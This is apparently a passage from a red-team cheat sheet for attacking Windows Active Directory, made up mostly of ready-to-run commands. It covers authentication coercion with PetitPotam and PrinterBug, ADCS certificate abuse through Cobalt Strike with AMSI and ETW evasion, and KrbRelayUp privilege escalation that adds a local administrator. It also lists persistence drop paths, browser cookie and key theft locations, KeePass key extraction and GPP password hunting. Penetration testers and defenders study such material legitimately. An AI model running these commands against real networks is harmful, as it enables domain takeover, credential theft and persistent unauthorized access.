        - PrinterBug: SpoolSample.exe <DC> <ATTACKER>

        - PetitPotam: PetitPotam.py -d <domain> -u <user> -p <pass> <ATTACKER> <DC>
- # Notes
    - In some cases, domain computers are allowed to request certificates (instead of domain users). If the "ms-ds-MachineAccountQuota" is set to > 1, it is possible to create a computer account yourself with PowerMad or SharpMad. Then you can request a TGT for this machine account using Rubeus. And then request a certificate with an altname (so a Domain Admin) using Certify.
    - PowerMad: New-MachineAccount -MachineAccount <computername> -Password $(ConvertTo-SecureString '<password>' -AsPlainText -Force)
    - SharpMad: Sharpmad.exe MAQ -Action new -MachineAccount <computername> -MachinePassword <password>
- # Cobalt Strike
    - # Check vulnerable for certificate templates
        - inlineExecute-Assembly --dotnetassembly Certify.exe --assemblyargs find /vulnerable --amsi --etw
    - # Request certificate with alternative name
        - inlineExecute-Assembly --dotnetassembly Certify.exe --assemblyargs request /ca:<server\ca-name> /template:<template> /altname:<domain>\<da> --amsi --etw
        - *Note that you can use the /subject:CN=... flag if the subject name contains too many characters.*
    - # Convert pem to pfx
        - openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    - # Upload the pfx
    - # Request TGT
        - inlineExecute-Assembly --dotnetassembly Rubeus.exe --assemblyargs asktgt /user:<da> /certificate:C:\Windows\Tasks\cert.pfx /password:<pfx_password> /ptt --amsi --etw
    - # Verify
        - ls \\dc1.bamisoup.com\c$

Empty passwords

- # ActiveDirectory module
    - Get-ADUser -Filter {PasswordNotRequired -eq $true -and Enabled -eq $true} | Select SamAccountName
- # BloodHound
    - MATCH (n:User {enabled: True, passwordnotreqd: True}) RETURN n
- # Ldapsearch

    - ldapsearch (&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) cn
- # Standin (C#)
    - StandIn.exe --passnotreq
- # WMI
    - Get-WmiObject -Query "SELECT * FROM Win32_UserAccount WHERE PasswordRequired=False AND Disabled=False" | select Name

Domain stuff

- # ADFS
    - ADFS discloses a lot of information at the endpoint: /adfs/ls/idpinitiatedsignon.aspx
- # Discover internal domain name
    - # PowerShell
        - $response = Invoke-WebRequest -Uri https://lyncdiscover.bcc.nl/ -SkipCertificateCheck
        - $response.Headers["X-MS-Server-Fqdn"]
    - # Nmap
        - nmap -p 443 --script http-ntlm-info <domain>
- # Domain Fronting
    - python3 FindFrontableDomains.py --domain outlook.com
- # Expired Domains
    - https://member.expireddomains.net/
- # Subdomain Takeover
    - aquatone-discover -d <domain>
    - aquatone-takeover -d <domain>

KrbRelayUp

- # Relay - first phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
    - KrbRelayUp.exe relay -d <fqdn> -c
- # Spawn - second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
    - KrbRelayUp.exe spawn -d <fqdn> -cn KRBRELAYUP$ -cp <pass>
- # Note that this will spawn a cmd.exe (as Administrator) by default. With the -sc parameter you can specify a command yourself.
    - KrbRelayUp.exe spawn -d <fqdn> -cn KRBRELAYUP$ -cp <pass> -sc "net localgroup Administrators <user> /add"

- # Manual
    - RBCD method: https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
    - Shadow Credentials method: https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html

Technical explanation
You are an unprivileged user in the domain on computer Y. And you're eager to escalate your privileges. As a user you can create arbitrary COM objects. There are some COM objects that are special in that they are not initiated in your current session, but you can initiate them as another user. For example, it is possible to create a COM object that will run as local system. We can perform a trick here.

COM has this concept called "marshaling". This is more or less similar to Java or .NET Serialization - the conversion of the state of an object into a byte stream that can be transported. The first trick you do is create a martialled object from a COM object which will be started as local system. The COM object also contains information called OXID, a kind of DNS resolution for RPC. What you can do here is put in that serialized COM object your own OXID string that will point to any RPC interface. When deserialization occurs, it tries to create the object based on this string; in this case as local system. Local system will then try to connect to an RPC interface of our choice. So on this RPC interface is authenticated by local system. All this takes place (mostly) locally on the system.

The original KrbRelay performs the above to connect to a local interface and force authentication. That authentication can then be relayed. The authentication can be NTLM (a standard NTLM relay attack that you are already familiar with), or Kerberos. The most logical next step is to relay this authentication to a Domain Controllers LDAP. For this to work, LDAP signing and LDAP channel binding on the DC should not be required (default). Via this relay you can configure RBCD, by populating the "msDS-AllowedToActOnBehalfOfOtherIdentity" attribute on machine Y. For this to work, you create a new machine account: machine Z. Because, for delegation you need to specify an account with an SPN. You can then request a service ticket for example as Administrator on machine Y through S4U.

The KrbRelayUp tool uses this service ticket to authenticate to the local Service Manager and create a new service as NT AUTHORITY\System (i.e. spawn cmd.exe). It is also possible to trigger the relay with a session of, for example, a logged in admin. And relay these to for example SMB (if signing is not enabled).

Ldapsearch

- # Get all users with an SPN set for Kerberoasting

    - ldapsearch "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
- # LDAP Signing
    - ldapsearch -LLL -H ldap://dc01.domain.local -x -D 'domain\username' -w '<password>' -b 'dc=domain,dc=local' '(&(objectClass=person)(samAccountName=username))' samAccountName
    - *When LDAP server signing is required the following message will appear:* ***authentication required (8)***

Persistence

- # Excel
    - C:\Documents and Settings\<user>\Application Data\Microsoft\Excel\XLSTART\evil.xll
- # Startup
    - C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil.exe
- # Teams
    - C:\Users\<user>\AppData\Local\Microsoft\Teams\current\AUDIOSES.DLL

Loot

- # Chrome
    - C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State
    - C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
- # Edge
    - C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\\Local State
    - C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Non-Domain-Joined

- # Open cmd as admin
- # runas /netonly
    - .\Rubeus.exe createnetonly /show /program:cmd.exe /username:<user> /domain:<domain> /password:<pass>
- # Get TGT
    - .\Rubeus.exe asktgt /user:<user> /password:<pass>
- # Check

    - dir \\<domain>\SYSVOL

Miscellaneous

- # DPAT
    - python3 dpat.py -n dump.ntds -c cracked.txt
- # GPPPassword
    - findstr /S /I cpassword \\<domain>\sysvol\<domain>\policies*.xml
- # KeeThief
    - Get-Process keepass | Get-KeePassDatabaseKey
- # Seatbelt
    - Seatbelt.exe -group=all
- # SharpAdidnsdump
    - SharpAdidnsdump.exe <dc_ip>
- # SharpShares
    - SharpShares.exe shares